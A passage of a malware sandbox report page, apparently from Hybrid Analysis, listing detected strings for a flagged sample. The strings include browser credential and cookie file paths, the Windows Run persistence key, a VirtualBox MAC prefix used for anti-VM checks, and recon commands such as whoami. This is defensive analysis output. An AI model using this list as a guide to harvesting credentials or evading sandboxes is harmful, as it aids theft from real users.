py7zr.SevenZipFile(r'\" (Indicator: \"zipfile\"; Source: \"sample.bin\"), Found string \"not base64!!\" (Indicator: \"base64\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"aes\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \".encrypt\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"base64\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-57","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$2f","origin":"sample.bin","mitre_attack_id":"T1555","id":"string-475","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Identified FTP credentials location strings","description":"\"E:\\EV\\yandex\\yandexbrowser\\User Data\\Default\\History\" (Indicator: \"\\yandex\\\") in Source: sample.bin, \"C:\\U\\AppData\\Local\\Chromium\\User Data\\Default\\Cookies\" (Indicator: \"\\chromium\\\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1552.001","id":"string-11","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found browser information locations related strings","description":"$30","origin":"sample.bin","mitre_attack_id":"T1005","id":"string-93","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"Found string \"CommandLine=Get-ChildItem C:\\\" (Indicator: \"Get-ChildItem\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-394","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Able to retrieve browser history information","description":"Found string \"c:\\u\\appdata\\roaming\\tencent\\qqbrowser\\user data\\default\\history\" (Indicator: \"\\user data\\default\\history\"; Source: \"sample.bin\"), Found string \"c:\\users\\x\\appdata\\local\\google\\chrome\\user data\\default\\history\" (Indicator: \"\\user data\\default\\history\"; Source: \"sample.bin\"), Found string \"c:\\users\\x\\appdata\\local\\vivaldi\\user data\\default\\history\" (Indicator: \"\\user data\\default\\history\"; Source: \"sample.bin\"), Found string \"c:\\users\\x\\appdata\\local\\bravesoftware\\brave-browser\\user data\\default\\history\" (Indicator: \"\\user data\\default\\history\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1217","id":"string-10069","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"GPS Route\" (Indicator: \"route\"; Source: \"sample.bin\"), Found string \"ipconfig /all\" (Indicator: \"ipconfig\"; Source: \"sample.bin\"), Found string \"ipconfig /all\" (Indicator: \"ipconfig /all\"; Source: \"sample.bin\"), Found string \"whoami\" (Indicator: \"whoami\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-126","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found mail information locations related strings","description":"\"HKCU\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\" in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1114","id":"string-129","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References Firefox browser credentials files","description":"Found string \"logins.json\" (Indicator: \"logins.json\"; in Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555.003","id":"string-405","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Able to retrieve saved login credentials from browser","description":"Found string \"logins.json\" (Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555.003","id":"string-693","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References Chromium browser credentials files","description":"Found string \"c:\\u\\microsoft\\edge\\user data\\default\\login data\" (Indicator: \"edge\\user data\\default\\login data\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555.003","id":"string-1000","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found string related to Windows Vault/Credentials location","description":"\"C:\\Users\\u\\AppData\\Local\\Microsoft\\Credentials\\\" (Indicator: \"\\microsoft\\credentials\"; File: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1555.004","id":"string-197","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using web history","description":"Found string \"E:\\EV\\yandex\\yandexbrowser\\User Data\\Default\\History\" (Source: \"sample.bin\"), Found string \"c:\\u\\appdata\\roaming\\tencent\\qqbrowser\\user data\\default\\history\" (Source: \"sample.bin\"), Found string \"c:\\users\\x\\appdata\\local\\google\\chrome\\user data\\default\\history\" (Source: \"sample.bin\"), Found string \"c:\\users\\x\\appdata\\local\\vivaldi\\user data\\default\\history\" (Source: \"sample.bin\"), Found string \"c:\\users\\x\\appdata\\local\\bravesoftware\\brave-browser\\user data\\default\\history\" (Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.002","id":"string-662","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Environment Awareness","name":"Able to identify known system hardware ID (HWID)","description":"Found string \"C:\\Users\\u\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1004336348-1171140910-683532512-1001\\11111111-2222-3333-4444-555555555555\" (Indicator: \"11111111-2222-3333-4444-555555555555\"; Source: \"sample.bin\"), Found string \"{11111111-2222-3333-4444-555555555555}\" (Indicator: \"11111111-2222-3333-4444-555555555555\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.001","id":"string-640","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Environment Awareness","name":"May attempt to implement anti-virtualization techniques using MAC address detection","description":"\"[Adapter]\nAddress = AA:BB:CC:DD:EE:FF\nName = phone\n\n[08:00:27:11:22:33]\nName = JBL Flip5\nDevClass = 2360344\nTimestamp = 1696500000000\n\n[Metrics]\nTotalTime = 100\n\n[NotQuite:AMAC]\nName = bogus\" (Indicator: \"08:00:27\"), \"08:00:27:AA:BB:CC\" (Indicator: \"08:00:27\"), \"08:00:27:11:22:33\" (Indicator: \"08:00:27\")","origin":"sample.bin","mitre_attack_id":"T1518.001","id":"string-2","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve browser cookies data","description":"Found string \"Chromium/User Data/Default/Cookies\" (Indicator: \"/cookies\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"moz_cookies\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1539","id":"string-5058","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the current user information","description":"Observed string: \"whoami\" (Indicator: \"whoami\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1033","id":"string-432","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume3\" (Indicator: \"\\Device\\\"; Source: \"sample.bin\"), Found string \"\\DosDevices\\G:\" (Indicator: \"\\DosDevices\\\"; Source: \"sample.bin\"), Found string \"\\DosDevices\\C:\" (Indicator: \"\\DosDevices\\\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543.003","id":"string-474","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"System Security","name":"References device drivers used by rootkit malware","description":"Found string \"\\DosDevices\\C:\" (Indicator: \"\\DosDevices\\c:\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1014","id":"string-458","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Contains virtual file system log filepaths used by malware","description":"Found reference to API \"p123\ncnginx\nuroot\ntREG\nn/var/log/access.log\ni4026539911\np456\ncsshd\nualice\ntIPv4\nn10.0.0.1:22->10.0.0.5:51000\nd0x1000\" (Indicator: \"/var/log/\"; Source: \"sample.bin\"), Found reference to API \"/var/log/access.log\" (Indicator: \"/var/log/\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564.005","id":"string-503","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HMACSHA512\" (Indicator: \"HMAC\"; Source: \"sample.bin\"), Found reference to \"HMACSHA512\" (Indicator: \"HMACSHA512\"; Source: \"sample.bin\"), Found reference to \"HMACSHA512\" (Indicator: \"SHA512\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-138","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Remote Access Related","name":"Able to connect to a cloud service","description":"Found string \"C:\\case\\CloudExports\\samsungcloud\\20240601_120000\\call_logs.json\" (Indicator: \"gcloud\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1021.007","id":"string-767","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Installation/Persistence","name":"Found registry location strings which can modify auto-execute functionality","description":"Found string \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" (Indicator: \"software\\microsoft\\windows\\currentversion\\run\"; in Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1547","id":"string-184","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"RSA private key (PEM)\" (Indicator: \"private key\"; Source: \"sample.bin\"), Found string \"OpenSSH private key\" (Indicator: \"private key\"; Source: \"sample.bin\"), Found string \"public key (plaintext)\" (Indicator: \"public key\"; Source: \"sample.bin\"), Found string \"-----BEGIN RSA PRIVATE KEY-----\nProc-Type: 4,ENCRYPTED\nYWJjZA==\n-----END RSA PRIVATE KEY-----\n\" (Indicator: \"private key\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1486","id":"string-280","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Cryptographic Related","name":"Able to use RSA keys for encryption and decryption","description":"Found RSA private key marker \"-----BEGIN RSA PRIVATE KEY-----\" in \"-----BEGIN RSA PRIVATE KEY-----\nProc-Type: 4,ENCRYPTED\nYWJjZA==\n-----END RSA PRIVATE KEY-----\n\" (Source: \"sample.bin\"), Found RSA private key marker \"-----END RSA PRIVATE KEY-----\" in \"-----BEGIN RSA PRIVATE KEY-----\nProc-Type: 4,ENCRYPTED\nYWJjZA==\n-----END RSA PRIVATE KEY-----\n\" (Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1573.001","id":"string-799","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Cryptographic Related","name":"Possibly contains Public/Private key (encryption)","description":"\"-----BEGIN RSA PRIVATE KEY-----\nProc-Type: 4,ENCRYPTED\nYWJjZA==\n-----END RSA PRIVATE KEY-----\n\" (Indicator: \"-----BEGIN RSA PRIVATE KEY----\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1560","id":"string-68","sources":[{"report_type":"qsp","report_id":""}]}],"intel_graph":{"map":{},"chains":[]}},"activity":{"stats":{"process_count":0,"spawned_processes_count":0,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":0,"imported_dlls_count":0,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":0,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":null,"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":null,"processes":null,"all_imported_dlls":null},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":null,"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":null}},"report_ids":{}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Capa_reference_anti_VM_strings_targeting_VirtualBox Sample 401d18bc0d0e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 401d18bc0d0e…. Malware family: Capa_reference_anti_VM_strings_targeting_VirtualBox. Threat score 100/100. 3/27 AV engines flagged this file. 1 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/401d18bc0d0ea92e4cf158c987f80b3392e9f588426a01387dcd320c9abc3a29"}],["$","meta","4",{"property":"og:title","content":"Malicious Capa_reference_anti_VM_strings_targeting_VirtualBox Sample 401d18bc0d0e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 401d18bc0d0e…. Malware family: Capa_reference_anti_VM_strings_targeting_VirtualBox. Threat score 100/100. 3/27 AV engines flagged this file. 1 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/401d18bc0d0ea92e4cf158c987f80b3392e9f588426a01387dcd320c9abc3a29"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Capa_reference_anti_VM_strings_targeting_VirtualBox Sample 401d18bc0d0e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 401d18bc0d0e…. Malware family: Capa_reference_anti_VM_strings_targeting_VirtualBox. Threat score 100/100. 3/27 AV engines flagged this file. 1 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L31","11",{}]]